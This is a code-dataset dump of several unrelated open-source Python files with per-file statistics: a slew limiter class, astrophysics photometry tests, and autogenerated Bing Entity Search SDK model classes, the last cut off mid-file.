= collate_fn([dataset[i] for i in batch_indices]) File "/root/c/src/lib/datasets/sample/ctdet.py", line 40, in __getitem__ height, width = img.shape[0], img.shape[1] AttributeError: 'NoneType' object has no attribute 'shape'
94.624577
1,917
0.687858
88,222
363,453
2.729671
0.080751
0.113364
0.047671
0.075078
0.765764
0.760984
0.731456
0.66938
0.657404
0.645233
0
0.358925
0.117303
363,453
3,840
1,918
94.649219
0.391707
0
0
0.002084
0
0.001042
0.002102
0.001717
0
0
0
0
0
0
null
null
0
0
null
null
0.00026
0
0
0
null
0
0
0
0
1
1
0
0
1
0
1
0
0
0
1
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
3bee4ef04ff1e0164c1b359a305f429120aab5c6
44
py
Python
easy_mailer/__init__.py
JnaneshPrabhu/easy-mailer
c844e16c51e95ce9fa052581fdeba98f0307f682
[ "MIT" ]
null
null
null
easy_mailer/__init__.py
JnaneshPrabhu/easy-mailer
c844e16c51e95ce9fa052581fdeba98f0307f682
[ "MIT" ]
null
null
null
easy_mailer/__init__.py
JnaneshPrabhu/easy-mailer
c844e16c51e95ce9fa052581fdeba98f0307f682
[ "MIT" ]
null
null
null
from easy_mailer.send_mail import send_mail
22
43
0.886364
8
44
4.5
0.75
0.444444
0
0
0
0
0
0
0
0
0
0
0.090909
44
1
44
44
0.9
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ce0a5fd236b8d2380b5c2266229e61e99e49953f
781
py
Python
common/slewlimiter.py
frc5024/RocketShip
db3aed3d169292663036a9f5fd047dc11d92ca6f
[ "MIT" ]
3
2019-04-29T02:47:30.000Z
2019-04-30T16:35:15.000Z
common/slewlimiter.py
frc5024/RocketShip
db3aed3d169292663036a9f5fd047dc11d92ca6f
[ "MIT" ]
null
null
null
common/slewlimiter.py
frc5024/RocketShip
db3aed3d169292663036a9f5fd047dc11d92ca6f
[ "MIT" ]
null
null
null
class SlewLimiter: def __init__(self, limit): self.limit = limit self.output = 0.0 def Feed(self, value): error = value - self.output if error > self.limit: error = self.limit elif error < (self.limit * -1): error = self.limit * -1 self.output += error return self.output class MultipleSlewLimiter: def __init__(self, limit): self.limit = limit self.output = 0.0 def Feed(self, value): error = value - self.output if error > value *self.limit: error = self.limit elif error < (value * self.limit * -1): error = self.limit * -1 self.output += error return self.output MultipleSlewLimiter
27.892857
47
0.541613
89
781
4.662921
0.179775
0.260241
0.20241
0.108434
0.833735
0.833735
0.833735
0.679518
0.679518
0.679518
0
0.016032
0.361076
781
28
48
27.892857
0.815631
0
0
0.72
0
0
0
0
0
0
0
0
0
1
0.16
false
0
0
0
0.32
0
0
0
0
null
1
1
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ce1c5d1920cff4295ce4d7e69906d6c1fbeece48
42
py
Python
examples/phobos/tests/test_std_socket.py
kinke/autowrap
2f042df3f292aa39b1da0b9607fbe3424f56ff4a
[ "BSD-3-Clause" ]
47
2019-07-16T10:38:07.000Z
2022-03-30T16:34:24.000Z
examples/phobos/tests/test_std_socket.py
kinke/autowrap
2f042df3f292aa39b1da0b9607fbe3424f56ff4a
[ "BSD-3-Clause" ]
199
2019-06-17T23:24:40.000Z
2021-06-16T16:41:36.000Z
examples/phobos/tests/test_std_socket.py
kinke/autowrap
2f042df3f292aa39b1da0b9607fbe3424f56ff4a
[ "BSD-3-Clause" ]
7
2019-09-13T18:03:49.000Z
2022-01-17T03:53:00.000Z
def test_import(): import std_socket
10.5
21
0.714286
6
42
4.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.214286
42
3
22
14
0.848485
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0
1
0
1.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
cbf362b4606d14fc6c8a42c06eea6816fdd3623c
71
py
Python
conda-store-server/conda_store_server/server/utils.py
isabella232/conda-store
5bf691068561986756740a0baab1ee035ffbeffb
[ "BSD-3-Clause" ]
null
null
null
conda-store-server/conda_store_server/server/utils.py
isabella232/conda-store
5bf691068561986756740a0baab1ee035ffbeffb
[ "BSD-3-Clause" ]
1
2021-04-17T10:54:47.000Z
2021-04-17T10:54:47.000Z
conda-store-server/conda_store_server/server/utils.py
isabella232/conda-store
5bf691068561986756740a0baab1ee035ffbeffb
[ "BSD-3-Clause" ]
null
null
null
from flask import g def get_conda_store(): return g._conda_store
11.833333
25
0.746479
12
71
4.083333
0.75
0.408163
0
0
0
0
0
0
0
0
0
0
0.197183
71
5
26
14.2
0.859649
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0.333333
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
8
cbfb15c96a8de2eab2d13c4c509d5078de16e30f
6,101
py
Python
dsps/tests/test_diffstar_photometry_kernels.py
ArgonneCPAC/dsps
a08da74cf9df4b12197805531d0b273d98ed5da6
[ "BSD-3-Clause" ]
13
2021-12-13T20:10:35.000Z
2022-03-08T17:58:06.000Z
dsps/tests/test_diffstar_photometry_kernels.py
ArgonneCPAC/dsps
a08da74cf9df4b12197805531d0b273d98ed5da6
[ "BSD-3-Clause" ]
null
null
null
dsps/tests/test_diffstar_photometry_kernels.py
ArgonneCPAC/dsps
a08da74cf9df4b12197805531d0b273d98ed5da6
[ "BSD-3-Clause" ]
1
2021-12-14T08:04:42.000Z
2021-12-14T08:04:42.000Z
""" """ import numpy as np from ..diffstar_photometry_kernels import ( _calc_weighted_rest_mag_from_diffstar_params_const_zmet, _calc_weighted_rest_mag_from_diffstar_params_const_zmet_dust, _calc_weighted_obs_mag_from_diffstar_params_const_zmet_dust, _calc_weighted_rest_mag_from_diffstar_params_age_correlated_zmet, _calc_weighted_obs_mag_from_diffstar_params_const_zmet_agedep_dust, ) from ..sfh_model import DEFAULT_MAH_PARAMS, DEFAULT_MS_PARAMS, DEFAULT_Q_PARAMS from ..mzr import DEFAULT_MZR_PARAMS from .retrieve_fake_fsps_data import load_fake_sps_data from ..flat_wcdm import PLANCK15, _lookback_to_z def test_calc_weighted_rest_mag_from_diffstar_params_const_zmet(): res = load_fake_sps_data() filter_waves, filter_trans, wave_ssp, spec_ssp, lgZsun_bin_mids, log_age_gyr = res t_obs = 11.0 mah_params = np.array(list(DEFAULT_MAH_PARAMS.values())) ms_params = np.array(list(DEFAULT_MS_PARAMS.values())) q_params = np.array(list(DEFAULT_Q_PARAMS.values())) met_params = np.array(list(DEFAULT_MZR_PARAMS.values())) lgmet = -1.0 lgmet_scatter = met_params[-1] args = ( t_obs, lgZsun_bin_mids, log_age_gyr, wave_ssp, spec_ssp, filter_waves[0, :], filter_trans[0, :], *mah_params, *ms_params, *q_params, lgmet, lgmet_scatter, ) mag = _calc_weighted_rest_mag_from_diffstar_params_const_zmet(*args) assert 0 < mag < 10 def test_calc_weighted_rest_mag_from_diffstar_params_const_zmet_dust(): res = load_fake_sps_data() filter_waves, filter_trans, wave_ssp, spec_ssp, lgZsun_bin_mids, log_age_gyr = res t_obs = 11.0 mah_params = np.array(list(DEFAULT_MAH_PARAMS.values())) ms_params = np.array(list(DEFAULT_MS_PARAMS.values())) q_params = np.array(list(DEFAULT_Q_PARAMS.values())) met_params = np.array(list(DEFAULT_MZR_PARAMS.values())) lgmet = -1.0 lgmet_scatter = met_params[-1] args = ( t_obs, lgZsun_bin_mids, log_age_gyr, wave_ssp, spec_ssp, filter_waves[0, :], filter_trans[0, :], *mah_params, *ms_params, *q_params, lgmet, lgmet_scatter, ) mag_nodust = _calc_weighted_rest_mag_from_diffstar_params_const_zmet(*args) dust_x0, dust_gamma, dust_ampl, dust_slope, dust_Av = 0.25, 0.1, 0.5, 1.5, 1.0 dust_params = dust_x0, dust_gamma, dust_ampl, dust_slope, dust_Av args2 = (*args, *dust_params) mag_dust = _calc_weighted_rest_mag_from_diffstar_params_const_zmet_dust(*args2) assert mag_nodust < mag_dust def test_calc_weighted_obs_mag_from_diffstar_params_const_zmet_dust(): res = load_fake_sps_data() filter_waves, filter_trans, wave_ssp, spec_ssp, lgZsun_bin_mids, log_age_gyr = res mah_params = np.array(list(DEFAULT_MAH_PARAMS.values())) ms_params = np.array(list(DEFAULT_MS_PARAMS.values())) q_params = np.array(list(DEFAULT_Q_PARAMS.values())) met_params = np.array(list(DEFAULT_MZR_PARAMS.values())) lgmet = -1.0 lgmet_scatter = met_params[-1] dust_x0, dust_gamma, dust_ampl, dust_slope, dust_Av = 0.25, 0.1, 0.5, 1.5, 1.0 dust_params = dust_x0, dust_gamma, dust_ampl, dust_slope, dust_Av z_obs = 0.5 TODAY = 13.8 t_obs = TODAY - _lookback_to_z(z_obs, *PLANCK15) args = ( t_obs, z_obs, *PLANCK15, lgZsun_bin_mids, log_age_gyr, wave_ssp, spec_ssp, filter_waves[0, :], filter_trans[0, :], *mah_params, *ms_params, *q_params, lgmet, lgmet_scatter, *dust_params, ) res = _calc_weighted_obs_mag_from_diffstar_params_const_zmet_dust(*args) obs_mag, weighted_ssp, attenuation = res def test_calc_weighted_rest_mag_from_diffstar_params_age_correlated_zmet(): res = load_fake_sps_data() filter_waves, filter_trans, wave_ssp, spec_ssp, lgZsun_bin_mids, log_age_gyr = res t_obs = 11.0 mah_params = np.array(list(DEFAULT_MAH_PARAMS.values())) ms_params = np.array(list(DEFAULT_MS_PARAMS.values())) q_params = np.array(list(DEFAULT_Q_PARAMS.values())) met_params = np.array(list(DEFAULT_MZR_PARAMS.values())) lgmet_young, lgmet_old = -1.0, -1.0 lgmet_scatter = met_params[-1] args = ( t_obs, lgZsun_bin_mids, log_age_gyr, wave_ssp, spec_ssp, filter_waves[0, :], filter_trans[0, :], *mah_params, *ms_params, *q_params, lgmet_young, lgmet_old, lgmet_scatter, ) mag = _calc_weighted_rest_mag_from_diffstar_params_age_correlated_zmet(*args) assert 0 < mag < 10 def test_calc_weighted_obs_mag_from_diffstar_params_const_zmet_agedep_dust(): res = load_fake_sps_data() filter_waves, filter_trans, wave_ssp, spec_ssp, lgZsun_bin_mids, log_age_gyr = res mah_params = np.array(list(DEFAULT_MAH_PARAMS.values())) ms_params = np.array(list(DEFAULT_MS_PARAMS.values())) q_params = np.array(list(DEFAULT_Q_PARAMS.values())) met_params = np.array(list(DEFAULT_MZR_PARAMS.values())) lgmet = -1.0 lgmet_scatter = met_params[-1] dust_x0, dust_gamma, dust_ampl = 0.25, 0.1, 0.5 dust_slope_young, dust_slope_old, dust_Av_young, dust_Av_old = -0.5, -0.1, 2, 0.5 dust_params = ( dust_x0, dust_gamma, dust_ampl, dust_slope_young, dust_slope_old, dust_Av_young, dust_Av_old, ) z_obs = 0.5 TODAY = 13.8 t_obs = TODAY - _lookback_to_z(z_obs, *PLANCK15) args = ( t_obs, z_obs, *PLANCK15, lgZsun_bin_mids, log_age_gyr, wave_ssp, spec_ssp, filter_waves[0, :], filter_trans[0, :], *mah_params, *ms_params, *q_params, lgmet, lgmet_scatter, *dust_params, ) res = _calc_weighted_obs_mag_from_diffstar_params_const_zmet_agedep_dust(*args) obs_mag, weighted_ssp, attenuation = res
30.054187
86
0.676938
895
6,101
4.115084
0.09162
0.043443
0.070595
0.092316
0.914743
0.914743
0.912843
0.912843
0.89275
0.87836
0
0.022505
0.227995
6,101
202
87
30.20297
0.759448
0
0
0.741176
0
0
0
0
0
0
0
0
0.017647
1
0.029412
false
0
0.035294
0
0.064706
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0258c375a64479a5f2a840091e455e3d4a011f9f
103,067
py
Python
sdk/EntitySearch/entity_search_client/models/_models.py
WMRamadan/bing-search-sdk-for-python
276d9cd6963c939081b3dec91bdd9aded42b3b35
[ "MIT" ]
12
2021-03-11T20:24:12.000Z
2022-02-10T22:55:03.000Z
sdk/EntitySearch/entity_search_client/models/_models.py
WMRamadan/bing-search-sdk-for-python
276d9cd6963c939081b3dec91bdd9aded42b3b35
[ "MIT" ]
null
null
null
sdk/EntitySearch/entity_search_client/models/_models.py
WMRamadan/bing-search-sdk-for-python
276d9cd6963c939081b3dec91bdd9aded42b3b35
[ "MIT" ]
10
2021-03-09T17:02:48.000Z
2022-02-12T18:40:01.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Code generated by Microsoft (R) AutoRest Code Generator (autorest: 3.0.6320, generator: {generator}) # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from azure.core.exceptions import HttpResponseError import msrest.serialization class ResponseBase(msrest.serialization.Model): """ResponseBase. :param type: :type type: str """ _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, } def __init__( self, **kwargs ): super(ResponseBase, self).__init__(**kwargs) self.type = kwargs.get('type', None) class Identifiable(ResponseBase): """Defines the identity of a resource. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str """ _validation = { 'id': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, } def __init__( self, **kwargs ): super(Identifiable, self).__init__(**kwargs) self.id = None class Response(Identifiable): """Defines a response. All schemas that could be returned at the root of a response should inherit from this. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, } def __init__( self, **kwargs ): super(Response, self).__init__(**kwargs) self.contractual_rules = None self.web_search_url = None class Thing(Response): """Thing. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, } def __init__( self, **kwargs ): super(Thing, self).__init__(**kwargs) self.name = None self.url = None self.image = None self.description = None self.entity_presentation_info = None self.bing_id = None class Place(Thing): """Defines information about a local entity, such as a restaurant or hotel. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, } def __init__( self, **kwargs ): super(Place, self).__init__(**kwargs) self.address = None self.telephone = None class Airport(Place): """Airport. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str :ivar iata_code: :vartype iata_code: str :ivar icao_code: :vartype icao_code: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, 'iata_code': {'readonly': True}, 'icao_code': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, 'iata_code': {'key': 'iataCode', 'type': 'str'}, 'icao_code': {'key': 'icaoCode', 'type': 'str'}, } def __init__( self, **kwargs ): super(Airport, self).__init__(**kwargs) self.iata_code = None self.icao_code = None class Answer(Response): """Answer. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, } def __init__( self, **kwargs ): super(Answer, self).__init__(**kwargs) class CivicStructure(Place): """CivicStructure. Variables are only populated by the server, and will be ignored when sending a request. :param type: :type type: str :ivar id: A String identifier. :vartype id: str :ivar contractual_rules: A list of rules that you must adhere to if you display the item. :vartype contractual_rules: list[~entity_search_client.models.ContractualRulesContractualRule] :ivar web_search_url: The URL To Bing's search result for this item. :vartype web_search_url: str :ivar name: The name of the thing represented by this object. :vartype name: str :ivar url: The URL to get more information about the thing represented by this object. :vartype url: str :ivar image: Defines an image. :vartype image: ~entity_search_client.models.ImageObject :ivar description: A short description of the item. :vartype description: str :ivar entity_presentation_info: Additional information about the entity such as hints that you can use to determine the entity's type. To determine the entity's type, use the entityScenario and entityTypeHint fields. :vartype entity_presentation_info: ~entity_search_client.models.EntitiesEntityPresentationInfo :ivar bing_id: An ID that uniquely identifies this item. :vartype bing_id: str :ivar address: The postal address of where the entity is located. :vartype address: ~entity_search_client.models.PostalAddress :ivar telephone: The entity's telephone number. :vartype telephone: str """ _validation = { 'id': {'readonly': True}, 'contractual_rules': {'readonly': True}, 'web_search_url': {'readonly': True}, 'name': {'readonly': True}, 'url': {'readonly': True}, 'image': {'readonly': True}, 'description': {'readonly': True}, 'entity_presentation_info': {'readonly': True}, 'bing_id': {'readonly': True}, 'address': {'readonly': True}, 'telephone': {'readonly': True}, } _attribute_map = { 'type': {'key': '_type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'contractual_rules': {'key': 'contractualRules', 'type': '[ContractualRulesContractualRule]'}, 'web_search_url': {'key': 'webSearchUrl', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'image': {'key': 'image', 'type': 'ImageObject'}, 'description': {'key': 'description', 'type': 'str'}, 'entity_presentation_info': {'key': 'entityPresentationInfo', 'type': 'EntitiesEntityPresentationInfo'}, 'bing_id': {'key': 'bingId', 'type': 'str'}, 'address': {'key': 'address', 'type': 'PostalAddress'}, 'telephone': {'key': 'telephone', 'type': 'str'}, } def __init__( self, **kwargs ): super(CivicStructure, self).__init__(**kwargs) class ContractualRulesContractualRule(msrest.serialization.Model): """ContractualRulesContractualRule. You probably want to use the sub-classes and not this class directly. Known sub-classes are: ContractualRulesAttribution. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, } _subtype_map = { 'type': {'ContractualRules/Attribution': 'ContractualRulesAttribution'} } def __init__( self, **kwargs ): super(ContractualRulesContractualRule, self).__init__(**kwargs) self.target_property_name = None self.type = None # type: Optional[str] class ContractualRulesAttribution(ContractualRulesContractualRule): """ContractualRulesAttribution. You probably want to use the sub-classes and not this class directly. Known sub-classes are: ContractualRulesLicenseAttribution, ContractualRulesLinkAttribution, ContractualRulesMediaAttribution, ContractualRulesTextAttribution. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str :ivar must_be_close_to_content: A Boolean value that determines whether the contents of the rule must be placed in close proximity to the field that the rule applies to. If true, the contents must be placed in close proximity. If false, or this field does not exist, the contents may be placed at the caller's discretion. :vartype must_be_close_to_content: bool """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, 'must_be_close_to_content': {'readonly': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'must_be_close_to_content': {'key': 'mustBeCloseToContent', 'type': 'bool'}, } _subtype_map = { 'type': {'ContractualRules/LicenseAttribution': 'ContractualRulesLicenseAttribution', 'ContractualRules/LinkAttribution': 'ContractualRulesLinkAttribution', 'ContractualRules/MediaAttribution': 'ContractualRulesMediaAttribution', 'ContractualRules/TextAttribution': 'ContractualRulesTextAttribution'} } def __init__( self, **kwargs ): super(ContractualRulesAttribution, self).__init__(**kwargs) self.type = 'ContractualRules/Attribution' # type: str self.must_be_close_to_content = None class ContractualRulesLicenseAttribution(ContractualRulesAttribution): """Defines a contractual rule for license attribution. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str :ivar must_be_close_to_content: A Boolean value that determines whether the contents of the rule must be placed in close proximity to the field that the rule applies to. If true, the contents must be placed in close proximity. If false, or this field does not exist, the contents may be placed at the caller's discretion. :vartype must_be_close_to_content: bool :ivar license: The license under which the content may be used. :vartype license: ~entity_search_client.models.CreativeWork :ivar license_notice: The license to display next to the targeted field. :vartype license_notice: str """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, 'must_be_close_to_content': {'readonly': True}, 'license': {'readonly': True}, 'license_notice': {'readonly': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'must_be_close_to_content': {'key': 'mustBeCloseToContent', 'type': 'bool'}, 'license': {'key': 'license', 'type': 'CreativeWork'}, 'license_notice': {'key': 'licenseNotice', 'type': 'str'}, } def __init__( self, **kwargs ): super(ContractualRulesLicenseAttribution, self).__init__(**kwargs) self.type = 'ContractualRules/LicenseAttribution' # type: str self.license = None self.license_notice = None class ContractualRulesLinkAttribution(ContractualRulesAttribution): """Defines a contractual rule for link attribution. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str :ivar must_be_close_to_content: A Boolean value that determines whether the contents of the rule must be placed in close proximity to the field that the rule applies to. If true, the contents must be placed in close proximity. If false, or this field does not exist, the contents may be placed at the caller's discretion. :vartype must_be_close_to_content: bool :param text: Required. The attribution text. :type text: str :param url: Required. The URL to the provider's website. Use text and URL to create the hyperlink. :type url: str :ivar optional_for_list_display: Indicates whether this provider's attribution is optional. :vartype optional_for_list_display: bool """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, 'must_be_close_to_content': {'readonly': True}, 'text': {'required': True}, 'url': {'required': True}, 'optional_for_list_display': {'readonly': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'must_be_close_to_content': {'key': 'mustBeCloseToContent', 'type': 'bool'}, 'text': {'key': 'text', 'type': 'str'}, 'url': {'key': 'url', 'type': 'str'}, 'optional_for_list_display': {'key': 'optionalForListDisplay', 'type': 'bool'}, } def __init__( self, **kwargs ): super(ContractualRulesLinkAttribution, self).__init__(**kwargs) self.type = 'ContractualRules/LinkAttribution' # type: str self.text = kwargs['text'] self.url = kwargs['url'] self.optional_for_list_display = None class ContractualRulesMediaAttribution(ContractualRulesAttribution): """Defines a contractual rule for media attribution. Variables are only populated by the server, and will be ignored when sending a request. All required parameters must be populated in order to send to Azure. :ivar target_property_name: The name of the field that the rule applies to. :vartype target_property_name: str :param type: Required. Constant filled by server. :type type: str :ivar must_be_close_to_content: A Boolean value that determines whether the contents of the rule must be placed in close proximity to the field that the rule applies to. If true, the contents must be placed in close proximity. If false, or this field does not exist, the contents may be placed at the caller's discretion. :vartype must_be_close_to_content: bool :ivar url: The URL that you use to create of hyperlink of the media content. For example, if the target is an image, you would use the URL to make the image clickable. :vartype url: str """ _validation = { 'target_property_name': {'readonly': True}, 'type': {'required': True}, 'must_be_close_to_content': {'readonly': True}, 'url': {'readonly': True}, } _attribute_map = { 'target_property_name': {'key': 'targetPropertyName', 'type': 'str'}, 'type': {'key': '_type', 'type': 'str'}, 'must_be_close_to_content': {'key': 'mustBeCloseToContent', 'type': 'bool'}, 'url': {'key': 'url', 'type': 'str'}, } def __init__( self, **kwargs ): super(ContractualRulesMediaAttribution, self).__init__(**kwargs) self.type = 'ContractualRules/MediaAttribution' # type: str self.url = None class ContractualRulesTextAttribution(ContractualRulesAttribution): """Defines a contractual rule for text attribution. Variables are only populated by the server, and 